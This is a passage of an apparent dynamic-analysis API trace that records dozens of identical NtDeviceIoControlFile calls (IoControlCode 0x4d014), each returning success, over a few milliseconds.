out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.083] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.084] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.084] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.084] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.085] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.085] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.088] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.088] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.088] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.089] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.089] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.089] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.090] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.090] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.090] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.091] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.092] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.092] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.093] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.094] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.094] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.094] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.095] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.095] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.095] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.095] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.097] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.097] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.097] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.098] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.098] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.098] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.098] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.099] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.099] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.099] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.100] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.100] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.100] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.100] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.101] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.101] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.105] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.105] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.105] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.105] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.106] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.106] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.106] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.107] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.107] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.107] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.107] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.108] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.108] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.108] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.109] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.109] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.109] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.109] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.110] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.110] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.110] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.111] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.111] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.111] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.111] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.112] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.112] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.112] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.113] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.119] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.119] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.119] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.120] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.120] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.120] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.121] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.121] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.121] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.122] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: 